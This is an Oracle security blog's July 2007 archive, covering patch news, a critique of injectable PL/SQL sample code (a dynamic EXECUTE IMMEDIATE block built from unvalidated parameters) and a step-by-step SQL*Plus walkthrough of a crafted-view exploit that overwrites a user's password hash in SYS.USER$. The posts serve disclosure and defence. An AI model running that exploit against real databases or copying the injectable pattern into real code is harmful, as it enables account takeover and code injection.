Archive for Juli, 2007

Best (insecure) Practice PL/SQL on OTN

Dienstag, Juli 31st, 2007

You already know that I like to analyze other people’s code. On OTN I found a nice article (most popluar developer article) „Best Practice PL/SQL from Steven Feuerstein“ (http://www.oracle.com/technology/pub/columns/plsql/index.html).
Steven Feuerstein is a well-known expert on the Oracle PL/SQL language. His disclaimer says that „Do not take the advice and recommendations herein at face value. You should always build yourself a test case and run it on your database, for your schema, on your computer.“  That’s OK but even (or especially) sample code should be secure. Disclaimers are a simple but not a good solution.
Especially if the code is posted as „Best Practice“.

The best practice contains some PL/SQL sample code for download, e.g. str2list.
„The str2list package accepts your string, delimiter, and the name of your package-based collection. It deposits the parsed items in your string directly into your collection. The collection can either be declared in the package specification (publicly accessible) or you can define it in the package body and then provide procedures to add to and delete from the collection. These will be called by str2list to populate the collection properly. It’s a useful utility as well as a great example of dynamic PL/SQL block execution.“
As always the same problem: no input-validation in some of the procedures (e.g. showlist or parse). This could allow an attacker to run custom PL/SQL code. PL/SQL injection is more severe than SQL Injection. I know that writing secure code takes time but I think it’s worth to do this, especially for sample code which is often used by many people. Just adding a disclaimer is in my opinion not the right way to deal with vulnerabilities.

A quick analysis of the code str2list.pkg (Source is from March 2005) shows the following vulnerable code:

—————— str2list.pkg ————————————————————
PROCEDURE showlist (
pkg            IN   VARCHAR2,
firstrowproc   IN   VARCHAR2,
nextrowproc    IN   VARCHAR2,
getvalfunc     IN   VARCHAR2,
showproc       IN   VARCHAR2 := ‚pl‘,
datatype       IN   VARCHAR2 := ‚VARCHAR2(32767)‘
)
IS
dynblock   VARCHAR2 (32767);
BEGIN
dynblock :=
‚DECLARE
indx PLS_INTEGER := ‚
|| pkg
|| ‚.‘
|| firstrowproc
|| ‚;
v_startloc PLS_INTEGER := 1;
v_item ‚
|| datatype
|| ‚;
BEGIN
LOOP
EXIT WHEN indx IS NULL;‘
|| showproc
|| ‚ (‚
|| pkg
|| ‚.‘
|| getvalfunc
|| ‚(indx));
indx := ‚
|| pkg
|| ‚.‘
|| nextrowproc
|| ‚(indx);
END LOOP;
END;‘;
EXECUTE IMMEDIATE dynblock;
EXCEPTION
WHEN OTHERS
THEN
disperr (dynblock);
END;—————— str2list.pkg ————————————————————

Exploit for Create View Problem published

Sonntag, Juli 22nd, 2007

Andrea Purificato has published an exploit for the Create-View-Problem (DB17 aka CVE-2007-3855, bug found by Red-Database-Security). This issue was fixed with the July 2007 CPU.

The exploit updates the password hash in SYS.USER$ via a specially crafted view. But the exploit from Andrea does not work without additional steps because it is not supported to modify password hashes via an update command.

Example:
— We calculate the password hashes for the user RDS and the passwords RDS and HACKED with the makepwd command.
c:\tools>makepwd.exe RDS RDS
B2ABF50FCECAE7CB

c:\tools>makepwd.exe RDS HACKED
7B843A192FF96BE9

— Now we connect to the database and update the password hash via a specially crafted view.

SQL> connect cpu/cpu
Connected.
SQL> create or replace view bunkerview as
2 select x.name,x.password from sys.user$ x left outer join sys.user$ y on
x.name=y.name;

View created.
SQL> update cpu.bunkerview set password=’7B843A192FF96BE9′ where name =’RDS‘;

1 row updated.

SQL> commit;

Commit complete.

— The password is now changed to HACKED.

SQL> select password from sys.user$ where name=’RDS‘;

PASSWORD
——————————
7B843A192FF96BE9

— But the connect attempt throws an error message…
SQL> connect rds/hacked
ERROR:
ORA-01017: invalid username/password; logon denied

Warning: You are no longer connected to ORACLE.

— To activate the password change it is necessary to restart the database.

C:\>sqlplus rds/hacked

SQL*Plus: Release 10.2.0.3.0 – Production on Sun Jul 22 18:24:41 2007

Copyright (c) 1982, 2006, Oracle. All Rights Reserved.

Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – Production
With the Partitioning, OLAP and Data Mining Scoring Engine options

SQL>

Oracle Molecule / napply CPU

Dienstag, Juli 17th, 2007

Eric Maurice from Oracle Global Security wrote in his blog that this CPU comes with a new concept called molecule.

The napply CPU is an enhanced CPU format for Oracle Database Server for Unix and Linux platforms version 10.2.0.3 and onward (including 10.2.0.4 and 11g).  In a napply CPU, the security fixes are now grouped in what are called molecules.  Each molecule in the CPU is independent, and does not conflict with other molecules in the CPU.  Conflicts between molecules occur when fixes included respectively in each molecule affect the same file or group of files.

The new CPU format will greatly simplify the patch conflict resolution procedures, thus providing for a quicker resolution of security vulnerabilities than was previously the case.

Oracle CPU July 2007

Dienstag, Juli 17th, 2007

The Oracle CPU July 2007 is out.

The CPU contains fixes for 46 Oracle vulnerabilities. Most of the vulnerabilities are coming from the usual suspects. Integrigy (8 of 14 EBusiness Suite vulns), Red-Database-Security (3 vulnerabilities), Argeniss, NGS, Joxean Koret. This time Imperva found also a vulnerability. Welcome to the usual suspects…
2 of Integrigy’s SQL Injection (Thanks to Steven Kost for the info) vulnerabilities are remote exploitable without authentication.

My vulnerabilities are a SQL Injection vulnerability in Apex (fixed with Apex 3.0.1), SQL Injection vulnerability in dbms_prvtaqis and a critical vulnerability in database views. The view bug is similar (but not identical) to bugs fixed with April 2006 and October 2006 . By using a specially crafted view it is possible to Insert/Update/Delete via database views.

More infos soon on the analysis webpage of Red-Database-Security.
The first advisories and an analysis of the Oracle CPU July 2007 are available on our website.
— Alex

Oracle database security incidents

Freitag, Juli 13th, 2007

Searchsecurity.com has some articles about Oracle security incidents. You can find them here and here.

DBAs are talking about a few incidents. Most of the incidents are never reported or never discovered.
After 2.3 million stolen from a DBA it’s time for companies and organizations to start thinking about Oracle security. A good starting point is a Oracle Security Training. We are offering training worldwide.